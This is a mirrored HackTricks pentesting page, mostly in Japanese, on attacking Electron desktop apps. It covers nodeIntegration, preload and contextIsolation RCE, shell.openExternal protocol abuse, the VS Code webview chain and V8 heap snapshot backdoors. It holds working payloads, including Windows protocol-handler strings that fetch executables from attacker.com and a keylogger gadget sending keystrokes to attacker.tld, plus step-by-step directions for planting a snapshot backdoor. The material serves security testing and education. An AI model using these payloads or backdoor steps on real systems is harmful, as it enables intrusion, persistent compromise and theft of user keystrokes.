mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
609 lines
37 KiB
Markdown
609 lines
37 KiB
Markdown
# Electron デスクトップアプリ
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## はじめに
|
||
|
||
Electronはローカルのバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、現代のブラウザが備えるいくつかのセキュリティ機構が欠けています。
|
||
|
||
通常、electronアプリのコードは`.asar`アプリケーション内にあることが多く、コードを取得するにはそれを抽出する必要があります:
|
||
```bash
|
||
npx asar extract app.asar destfolder #Extract everything
|
||
npx asar extract-file app.asar main.js #Extract just a file
|
||
```
|
||
Electron アプリのソースコードでは、`packet.json` 内にセキュリティ設定が設定されている `main.js` ファイルが指定されているのを確認できます。
|
||
```json
|
||
{
|
||
"name": "standard-notes",
|
||
"main": "./app/index.js",
|
||
```
|
||
Electronには2つのプロセスタイプがあります:
|
||
|
||
- Main Process (NodeJSへ完全にアクセスできる)
|
||
- Renderer Process (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき)
|
||
|
||
.png>)
|
||
|
||
**renderer process** はファイルを読み込むブラウザウィンドウになります:
|
||
```javascript
|
||
const { BrowserWindow } = require("electron")
|
||
let win = new BrowserWindow()
|
||
|
||
//Open Renderer Process
|
||
win.loadURL(`file://path/to/index.html`)
|
||
```
|
||
main.js ファイル内の **メインプロセス** で **レンダラープロセス** の設定を **構成** できます。いくつかの設定は、**設定が正しく構成されていれば** Electron アプリケーションが RCE やその他の脆弱性を受けるのを **防止** します。
|
||
|
||
Electron アプリケーションは Node API 経由で **デバイスにアクセス** できる可能性がありますが、これを防ぐように構成できます:
|
||
|
||
- **`nodeIntegration`** - はデフォルトで `off` です。オンにすると、レンダラープロセスから node の機能へアクセスできるようになります。
|
||
- **`contextIsolation`** - はデフォルトで `on` です。`off` の場合、メインとレンダラープロセスは分離されません。
|
||
- **`preload`** - はデフォルトで空です。
|
||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - はデフォルトで `off` です。NodeJS が実行できる操作を制限します。
|
||
- Workers 内の Node Integration
|
||
- **`nodeIntegrationInSubframes`** - はデフォルトで `off` です。
|
||
- もし **`nodeIntegration`** が **有効** であれば、Electron アプリ内の iframe に読み込まれたウェブページで **Node.js APIs** を使用できるようになります。
|
||
- もし **`nodeIntegration`** が **無効** であれば、preload スクリプトは iframe 内で読み込まれます。
|
||
|
||
設定の例:
|
||
```javascript
|
||
const mainWindowOptions = {
|
||
title: "Discord",
|
||
backgroundColor: getBackgroundColor(),
|
||
width: DEFAULT_WIDTH,
|
||
height: DEFAULT_HEIGHT,
|
||
minWidth: MIN_WIDTH,
|
||
minHeight: MIN_HEIGHT,
|
||
transparent: false,
|
||
frame: false,
|
||
resizable: true,
|
||
show: isVisible,
|
||
webPreferences: {
|
||
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
|
||
nodeIntegration: false,
|
||
contextIsolation: false,
|
||
sandbox: false,
|
||
nodeIntegrationInSubFrames: false,
|
||
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
|
||
nativeWindowOpen: true,
|
||
enableRemoteModule: false,
|
||
spellcheck: true,
|
||
},
|
||
}
|
||
```
|
||
以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からの **RCE payloads**:
|
||
```html
|
||
Example Payloads (Windows):
|
||
<img
|
||
src="x"
|
||
onerror="alert(require('child_process').execSync('calc').toString());" />
|
||
|
||
Example Payloads (Linux & MacOS):
|
||
<img
|
||
src="x"
|
||
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
|
||
<img
|
||
src="x"
|
||
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
|
||
<img
|
||
src="x"
|
||
onerror="alert(require('child_process').execSync('id').toString());" />
|
||
<img
|
||
src="x"
|
||
onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||
<img
|
||
src="x"
|
||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||
```
|
||
### Capture traffic
|
||
|
||
start-main の設定を変更し、次のような proxy の使用を追加します:
|
||
```javascript
|
||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||
```
|
||
## Electron Local Code Injection
|
||
|
||
ローカルでElectron Appを実行できる場合、そのアプリに任意のjavascriptコードを実行させることが可能です。詳しくは以下を参照してください:
|
||
|
||
{{#ref}}
|
||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||
{{#endref}}
|
||
|
||
## RCE: XSS + nodeIntegration
|
||
|
||
もし **nodeIntegration** が **on** に設定されている場合、ウェブページのJavaScriptは `require()` を呼び出すだけで簡単にNode.jsの機能を使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次のとおりです:
|
||
```html
|
||
<script>
|
||
require("child_process").exec("calc")
|
||
// or
|
||
top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||
</script>
|
||
```
|
||
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## RCE: preload
|
||
|
||
この設定で指定されたスクリプトは**レンダラ内の他のスクリプトより先に読み込まれる**ため、**Node APIsへの無制限のアクセス**を持ちます:
|
||
```javascript
|
||
new BrowserWindow{
|
||
webPreferences: {
|
||
nodeIntegration: false,
|
||
preload: _path2.default.join(__dirname, 'perload.js'),
|
||
}
|
||
});
|
||
```
|
||
したがって、このスクリプトは node-features をページにエクスポートできます:
|
||
```javascript:preload.js
|
||
typeof require === "function"
|
||
window.runCalc = function () {
|
||
require("child_process").exec("calc")
|
||
}
|
||
```
|
||
|
||
```html:index.html
|
||
<body>
|
||
<script>
|
||
typeof require === "undefined"
|
||
runCalc()
|
||
</script>
|
||
</body>
|
||
```
|
||
> [!NOTE] > **`contextIsolation` が有効な場合、これは動作しません**
|
||
|
||
## RCE: XSS + contextIsolation
|
||
|
||
The _**contextIsolation**_ は、web ページのスクリプトと JavaScript Electron の内部コードの間に **分離されたコンテキスト** を導入し、それぞれのコードの JavaScript 実行が互いに影響しないようにします。これは RCE の可能性を排除するために必要な機能です。
|
||
|
||
If the contexts aren't isolated an attacker can:
|
||
|
||
1. **arbitrary JavaScript in renderer** を実行する(XSS または外部サイトへの遷移)
|
||
2. preload や Electron internal code で使用される **built-in method** を上書きして制御を奪う
|
||
3. 上書きされた関数の使用を **トリガーする**
|
||
4. RCE?
|
||
|
||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||
|
||
|
||
{{#ref}}
|
||
electron-contextisolation-rce-via-preload-code.md
|
||
{{#endref}}
|
||
|
||
|
||
{{#ref}}
|
||
electron-contextisolation-rce-via-electron-internal-code.md
|
||
{{#endref}}
|
||
|
||
|
||
{{#ref}}
|
||
electron-contextisolation-rce-via-ipc.md
|
||
{{#endref}}
|
||
|
||
### クリックイベントのバイパス
|
||
|
||
リンクをクリックしたときに制限が適用される場合、通常の左クリックの代わりに **中クリックを行う** ことでそれらを回避できる場合があります。
|
||
```javascript
|
||
window.addEventListener('click', (e) => {
|
||
```
|
||
## RCE via shell.openExternal
|
||
|
||
この例の詳細については [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) と [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を参照してください。
|
||
|
||
Electron デスクトップアプリケーションをデプロイする際、`nodeIntegration` と `contextIsolation` の設定を正しく行うことが重要です。これらの設定があれば、preload scripts や Electron's native code from the main process を標的とした client-side remote code execution (RCE) は実質的に防止されることが確立されています。
|
||
|
||
ユーザーがリンクを操作したり新しいウィンドウを開いたりすると、特定の event listeners がトリガーされ、アプリケーションのセキュリティと機能において重要な役割を果たします:
|
||
```javascript
|
||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||
webContents.on("will-navigate", function (event, url) {}
|
||
```
|
||
これらのリスナーは**デスクトップアプリケーションによって上書きされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか外部のWebブラウザで開くべきかを判定します。
|
||
この判定は通常、`openInternally` 関数を通じて行われます。もしこの関数が `false` を返す場合、そのリンクは外部で開かれるべきであることを示し、`shell.openExternal` 関数を利用します。
|
||
|
||
**以下は簡略化した擬似コードです:**
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
Electron JS のセキュリティベストプラクティスは、`openExternal` 関数で信頼されていないコンテンツを受け入れることを避けるよう推奨しています。なぜなら、さまざまなプロトコル経由で RCE に繋がる可能性があるためです。各オペレーティングシステムは RCE を引き起こし得る異なるプロトコルをサポートしています。詳細な例や追加説明については、[この資料](https://positive.security/blog/url-open-rce#windows-10-19042) を参照してください。ここにはこの脆弱性を悪用できる Windows プロトコルの例が含まれています。
|
||
|
||
macOS では、`openExternal` 関数は `shell.openExternal('file:///System/Applications/Calculator.app')` のように任意のコマンドを実行するために悪用され得ます。
|
||
|
||
**Windows プロトコルの悪用例には以下が含まれます:**
|
||
```html
|
||
<script>
|
||
window.open(
|
||
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
|
||
)
|
||
</script>
|
||
|
||
<script>
|
||
window.open(
|
||
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
|
||
)
|
||
</script>
|
||
|
||
<script>
|
||
window.open(
|
||
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
|
||
)
|
||
</script>
|
||
```
|
||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||
|
||
この脆弱性は **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** に記載されています。
|
||
|
||
**webviewTag** は **deprecated feature** で、**renderer process** で **NodeJS** を使用可能にします。preload context 内に次のようなスクリプトを読み込めるため、無効化すべきです:
|
||
```xml
|
||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||
```
|
||
したがって、任意のページを読み込める攻撃者は、そのタグを使って**load an arbitrary preload script**を実行できる。
|
||
|
||
このpreload scriptは悪用され、**vulnerable IPC service (`skype-new-window`)**を呼び出し、そのサービスが**`shell.openExternal`**を呼び出してRCEを得ていました:
|
||
```javascript
|
||
(async() => {
|
||
const { ipcRenderer } = require("electron");
|
||
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
|
||
setTimeout(async () => {
|
||
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
|
||
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
|
||
}, 5000);
|
||
})();
|
||
```
|
||
## 内部ファイルの読み取り: XSS + contextIsolation
|
||
|
||
**`contextIsolation`を無効にすると、`<webview>`タグが使用可能になり、`<iframe>`と同様にローカルファイルの読み取りおよび exfiltrating が可能になります。** 以下の例は、この脆弱性を exploit して内部ファイルの内容を読む方法を示しています:
|
||
|
||
.png>)
|
||
|
||
さらに、別の方法で**内部ファイルの読み取り**が紹介されており、Electron デスクトップアプリにおける重大なローカルファイル読み取り脆弱性を浮き彫りにしています。これは、スクリプトを注入してアプリケーションを exploit し、データを exfiltrate することを含みます:
|
||
```html
|
||
<br /><br /><br /><br />
|
||
<h1>
|
||
pwn<br />
|
||
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
|
||
<script type="text/javascript">
|
||
function j() {
|
||
alert(
|
||
"pwned contents of /etc/hosts :\n\n " +
|
||
frames[0].document.body.innerText
|
||
)
|
||
}
|
||
</script>
|
||
</h1>
|
||
```
|
||
## **RCE: XSS + Old Chromium**
|
||
|
||
アプリケーションで使用されている **chromium** が **古い** かつ **既知の** **脆弱性** がある場合、**それを悪用してXSSを介してRCEを取得する** ことが可能かもしれません。\\
|
||
例はこの**writeup**で確認できます: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||
|
||
## **XSS Phishing via Internal URL regex bypass**
|
||
|
||
もし XSS を見つけたが **RCE をトリガーできない、または内部ファイルを盗めない** 場合は、それを使って **steal credentials via phishing** を試みることができます。
|
||
|
||
まず、新しいURLを開こうとしたときに何が起きるかを把握する必要があります。フロントエンドのJSコードを確認してください:
|
||
```javascript
|
||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||
```
|
||
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
|
||
|
||
関数で使用される **regex** が **vulnerable to bypasses**(例えば **not escaping the dots of subdomains** のような場合)、攻撃者は XSS を悪用して攻撃者のインフラ上に配置される **open a new window which** を開き、ユーザーに認証情報を要求する(**asking for credentials**)ことができます:
|
||
```html
|
||
<script>
|
||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||
</script>
|
||
```
|
||
## `file://` プロトコル
|
||
|
||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **カスタムプロトコル** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||
|
||
## Remote module
|
||
|
||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||
|
||
> [!TIP]
|
||
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
|
||
|
||
> [!WARNING]
|
||
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
|
||
|
||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||
|
||
To enable it, it'd first needed to **enable it in the main process**:
|
||
```javascript
|
||
const remoteMain = require('@electron/remote/main')
|
||
remoteMain.initialize()
|
||
[...]
|
||
function createMainWindow() {
|
||
mainWindow = new BrowserWindow({
|
||
[...]
|
||
})
|
||
remoteMain.enable(mainWindow.webContents)
|
||
```
|
||
すると、renderer プロセスは次のように module からオブジェクトを import できます:
|
||
```javascript
|
||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||
```
|
||
この **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は remote module のオブジェクト **`app`** が公開するいくつかの興味深い **関数** を示しています:
|
||
|
||
- **`app.relaunch([options])`**
|
||
- **アプリケーションを再起動**します。現在のインスタンスを**終了**して新しいインスタンスを**起動**します。**app の更新**や重大な**状態変更**に便利です。
|
||
- **`app.setAppLogsPath([path])`**
|
||
- **app ログを格納するディレクトリを定義**または**作成**します。ログは**`app.getPath()`**や**`app.setPath(pathName, newPath)`**を使って**取得**または**変更**できます。
|
||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||
- **指定したプロトコルに対するデフォルトハンドラとして現在の実行ファイルを登録**します。必要に応じて**カスタムパス**や**引数**を指定できます。
|
||
- **`app.setUserTasks(tasks)`**
|
||
- **Windows の Jump List 内の Tasks category にタスクを追加**します。各タスクは app の**起動方法**や渡される**引数**を制御できます。
|
||
- **`app.importCertificate(options, callback)`**
|
||
- **PKCS#12 certificate をシステムの certificate store にインポート**します(Linux のみ)。結果を処理するために**callback**を使えます。
|
||
- **`app.moveToApplicationsFolder([options])`**
|
||
- **アプリケーションを Applications folder に移動**します(macOS)。Mac ユーザーにとっての**標準的なインストール**を確保するのに役立ちます。
|
||
- **`app.setJumpList(categories)`**
|
||
- **Windows 上でカスタム Jump List を設定**または**削除**します。タスクの表示方法を整理するために**categories**を指定できます。
|
||
- **`app.setLoginItemSettings(settings)`**
|
||
- **どの実行ファイルがログイン時に起動するかとそのオプションを設定**します(macOS と Windows のみ)。
|
||
|
||
例:
|
||
```javascript
|
||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||
Native.app.exit()
|
||
```
|
||
## systemPreferences モジュール
|
||
|
||
Electronでシステム環境設定にアクセスし、システムイベントを発行するための**主要な API**です。**subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault**、**setUserDefault** といったメソッドはすべて**このモジュールの一部**です。
|
||
|
||
**使用例:**
|
||
```javascript
|
||
const { systemPreferences } = require('electron');
|
||
|
||
// Subscribe to a specific notification
|
||
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
|
||
console.log('Received custom notification:', userInfo);
|
||
});
|
||
|
||
// Get a user default key from macOS
|
||
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
|
||
console.log('Recent Places:', recentPlaces);
|
||
```
|
||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||
|
||
* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
|
||
NSDistributedNotificationCenterを使用してネイティブなmacOS通知を受信します。
|
||
|
||
* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
|
||
**macOS Catalina**以前は、CFNotificationCenterAddObserverに**nil**を渡すことで、すべてのdistributed notificationを傍受できました。
|
||
|
||
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
|
||
**Catalina / Big Sur**以降でも、サンドボックス化されたアプリは通知を**名前で登録する**ことで、(例:**画面のロック/アンロック**、**ボリュームのマウント**、**ネットワークアクティビティ**など)多くのイベントを購読できます。
|
||
|
||
### **getUserDefault / setUserDefault**
|
||
|
||
* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
|
||
NSUserDefaultsとインターフェイスし、macOS上のアプリケーションまたはグローバルな設定を保存します。
|
||
|
||
* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**.
|
||
**getUserDefault**は、**最近のファイルの場所**や**ユーザーの地理的位置**などの機微な情報を取得できる可能性があります。
|
||
|
||
* **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**.
|
||
**setUserDefault**はこれらの設定を変更でき、アプリの**設定**に影響を与える可能性があります。
|
||
|
||
* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
|
||
**古いElectronバージョン**(v8.3.0以前)では、NSUserDefaultsの**標準スイート**のみがアクセス可能でした。
|
||
|
||
## Shell.showItemInFolder
|
||
|
||
This function whows the given file in a file manager, which **could automatically execute the file**.
|
||
この関数は指定されたファイルをファイルマネージャで表示しますが、ファイルが**自動的に実行される**可能性があります。
|
||
|
||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||
|
||
## Content Security Policy
|
||
|
||
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
|
||
Electronアプリは**XSS攻撃を防ぐ**ために**Content Security Policy (CSP)**を持つべきです。**CSP**はブラウザ上で**信頼されていないコードの実行を防ぐ**ための**セキュリティ標準**です。
|
||
|
||
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
|
||
通常は**`main.js`**ファイルか**`index.html`**テンプレート内のmetaタグでCSPが**設定**されます。
|
||
|
||
For more information check:
|
||
|
||
|
||
{{#ref}}
|
||
pentesting-web/content-security-policy-csp-bypass/
|
||
{{#endref}}
|
||
|
||
|
||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||
|
||
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||
この実際のチェーンは Visual Studio Code 1.63(CVE-2021-43908)に影響を与え、webview内の1つのmarkdown由来のXSSが、CSP、postMessage、schemeハンドラが誤設定されているときにどのように完全なRCEにエスカレートするかを示しています。Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||
|
||
Attack chain overview
|
||
攻撃チェーンの概要
|
||
|
||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
|
||
webview CSP経由の最初のXSS: 生成されたCSPは`style-src 'self' 'unsafe-inline'`を含んでおり、`vscode-webview://`コンテキストでインライン/スタイルベースの注入を許可していました。ペイロードはターゲットwebviewのextensionIdを漏洩させるために `/stealID` にビーコンを送信しました。
|
||
|
||
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||
ターゲットwebviewのURL構築: leaked IDを使って `vscode-webview://<extensionId>/.../<publicUrl>` を構築しました。
|
||
|
||
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
|
||
postMessageの信頼による2回目のXSS: 外側のwebviewは厳密なorigin/typeチェックなしに`window.postMessage`を信頼し、`allowScripts: true`で攻撃者のHTMLを読み込みました。
|
||
|
||
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
|
||
スキーム/パス書き換えによるローカルファイル読み込み: ペイロードは`file:///...`を`vscode-file://vscode-app/...`に書き換え、`exploit.md`を`RCE.html`に置き換えることで、脆弱なパス検証を悪用して特権のあるローカルリソースを読み込みました。
|
||
|
||
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
|
||
Nodeが有効なコンテキストでのRCE: 読み込まれたHTMLはNode APIが利用可能な状態で実行され、OSコマンド実行に至りました。
|
||
|
||
Example RCE primitive in the final context
|
||
```js
|
||
// RCE.html (executed in a Node-enabled webview context)
|
||
require('child_process').exec('calc.exe'); // Windows
|
||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||
```
|
||
postMessage の信頼性の問題に関する関連資料:
|
||
|
||
{{#ref}}
|
||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||
{{#endref}}
|
||
|
||
## **ツール**
|
||
|
||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) は Electron ベースのアプリケーションにおける誤設定やセキュリティのアンチパターンを特定するツールです。
|
||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) は Electronegativity を利用する Electron アプリ向けのオープンソースの VS Code プラグインです。
|
||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) は脆弱なサードパーティライブラリをチェックするためのツール
|
||
- [**Electro.ng**](https://electro.ng/): 購入が必要です
|
||
|
||
## ラボ
|
||
|
||
次のリンク [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) には、脆弱な Electron アプリを exploit するためのラボがあります。
|
||
|
||
ラボで役立ついくつかのコマンド:
|
||
```bash
|
||
# Download apps from these URls
|
||
# Vuln to nodeIntegration
|
||
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
|
||
# Vuln to contextIsolation via preload script
|
||
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
|
||
# Vuln to IPC Rce
|
||
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
|
||
|
||
# Get inside the electron app and check for vulnerabilities
|
||
npm audit
|
||
|
||
# How to use electronegativity
|
||
npm install @doyensec/electronegativity -g
|
||
electronegativity -i vulnerable1
|
||
|
||
# Run an application from source code
|
||
npm install -g electron
|
||
cd vulnerable1
|
||
npm install
|
||
npm start
|
||
```
|
||
## V8 heap snapshot の改ざんによるローカルバックドア設置 (Electron/Chromium) – CVE-2025-55305
|
||
|
||
Electron や Chromium ベースのアプリは、起動時に事前作成された V8 heap snapshot (v8_context_snapshot.bin、必要に応じて browser_v8_context_snapshot.bin) をデシリアライズして各 V8 isolate (main, preload, renderer) を初期化します。歴史的に、Electron の integrity fuses はこれらのスナップショットを実行可能コンテンツとして扱っておらず、そのため fuse ベースの整合性強制や OS のコード署名チェックの両方を回避していました。その結果、ユーザが書き込み可能なインストール先でスナップショットを置き換えることで、署名済みバイナリや ASAR を変更せずにアプリ内部でステルスかつ持続的なコード実行が可能になりました。
|
||
|
||
Key points
|
||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation と OnlyLoadAppFromAsar は ASAR 内のアプリ JavaScript を検証しますが、V8 heap snapshots はカバーしていません (CVE-2025-55305)。Chromium も同様にスナップショットの整合性チェックを行いません。
|
||
- Attack preconditions: アプリのインストールディレクトリへのローカルファイル書き込み。Electron アプリや Chromium ブラウザがユーザ書き込み可能なパスにインストールされている環境(例: %AppData%\Local on Windows; /Applications with caveats on macOS)では一般的です。
|
||
- Effect: 頻繁に使用される builtin(「gadget」)を上書きすることで任意の isolate 内で攻撃者の JavaScript を確実に実行でき、持続化とコード署名検証の回避が可能になります。
|
||
- Affected surface: (fuses が有効でも) Electron アプリと、ユーザ書き込み可能な場所からスナップショットを読み込む Chromium ベースのブラウザ。
|
||
|
||
Generating a malicious snapshot without building Chromium
|
||
- 事前にビルドされた electron/mksnapshot を使って payload JS を snapshot にコンパイルし、アプリケーションの v8_context_snapshot.bin を上書きします。
|
||
|
||
Example minimal payload (prove execution by forcing a crash)
|
||
```js
|
||
// Build snapshot from this payload
|
||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||
// Replace the application’s v8_context_snapshot.bin with the generated file
|
||
|
||
const orig = Array.isArray;
|
||
|
||
// Use Array.isArray as a ubiquitous gadget
|
||
Array.isArray = function () {
|
||
// Executed whenever the app calls Array.isArray
|
||
throw new Error("testing isArray gadget");
|
||
};
|
||
```
|
||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||
- Main process detection: メインプロセスの検出: Node 専用のグローバル(process.pid、process.binding()、process.dlopen など)がメインプロセスの isolate に存在します。
|
||
- Browser/renderer detection: ブラウザ/レンダラーの検出: ブラウザ専用のグローバル(alert など)は document コンテキストで実行されているときに利用可能です。
|
||
|
||
Example gadget that probes main-process Node capabilities once
|
||
```js
|
||
const orig = Array.isArray;
|
||
|
||
Array.isArray = function() {
|
||
// Defer until we land in main (has Node process)
|
||
try {
|
||
if (!process || !process.pid) {
|
||
return orig(...arguments);
|
||
}
|
||
} catch (_) {
|
||
return orig(...arguments);
|
||
}
|
||
|
||
// Run once
|
||
if (!globalThis._invoke_lock) {
|
||
globalThis._invoke_lock = true;
|
||
console.log('[payload] isArray hook started ...');
|
||
|
||
// Capability probing in main
|
||
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
|
||
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
|
||
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
|
||
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
|
||
process.exit(0);
|
||
}
|
||
return orig(...arguments);
|
||
};
|
||
```
|
||
Renderer/ブラウザコンテキストのデータ窃取 PoC(例: Slack)
|
||
```js
|
||
const orig = Array.isArray;
|
||
Array.isArray = function() {
|
||
// Wait for a browser context
|
||
try {
|
||
if (!alert) {
|
||
return orig(...arguments);
|
||
}
|
||
} catch (_) {
|
||
return orig(...arguments);
|
||
}
|
||
|
||
if (!globalThis._invoke_lock) {
|
||
globalThis._invoke_lock = true;
|
||
setInterval(() => {
|
||
window.onkeydown = (e) => {
|
||
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
|
||
}
|
||
}, 1000);
|
||
}
|
||
return orig(...arguments);
|
||
};
|
||
```
|
||
Operator workflow
|
||
1) payload.js を作成します。共通の組み込み(例: Array.isArray)を上書きし、必要に応じて isolate ごとに分岐させます。
|
||
2) Chromium ソースを使わずに snapshot をビルドします:
|
||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||
3) ターゲットアプリケーションの snapshot ファイルを上書きします:
|
||
- v8_context_snapshot.bin (always used)
|
||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||
4) アプリケーションを起動します。選択した組み込みが使われるたびにガジェットが実行されます。
|
||
|
||
Notes and considerations
|
||
- Integrity/signature bypass: Snapshot ファイルはコード署名のチェックでネイティブ実行ファイルとして扱われず、(歴史的に)Electron の fuses や Chromium の整合性制御の対象外でした。
|
||
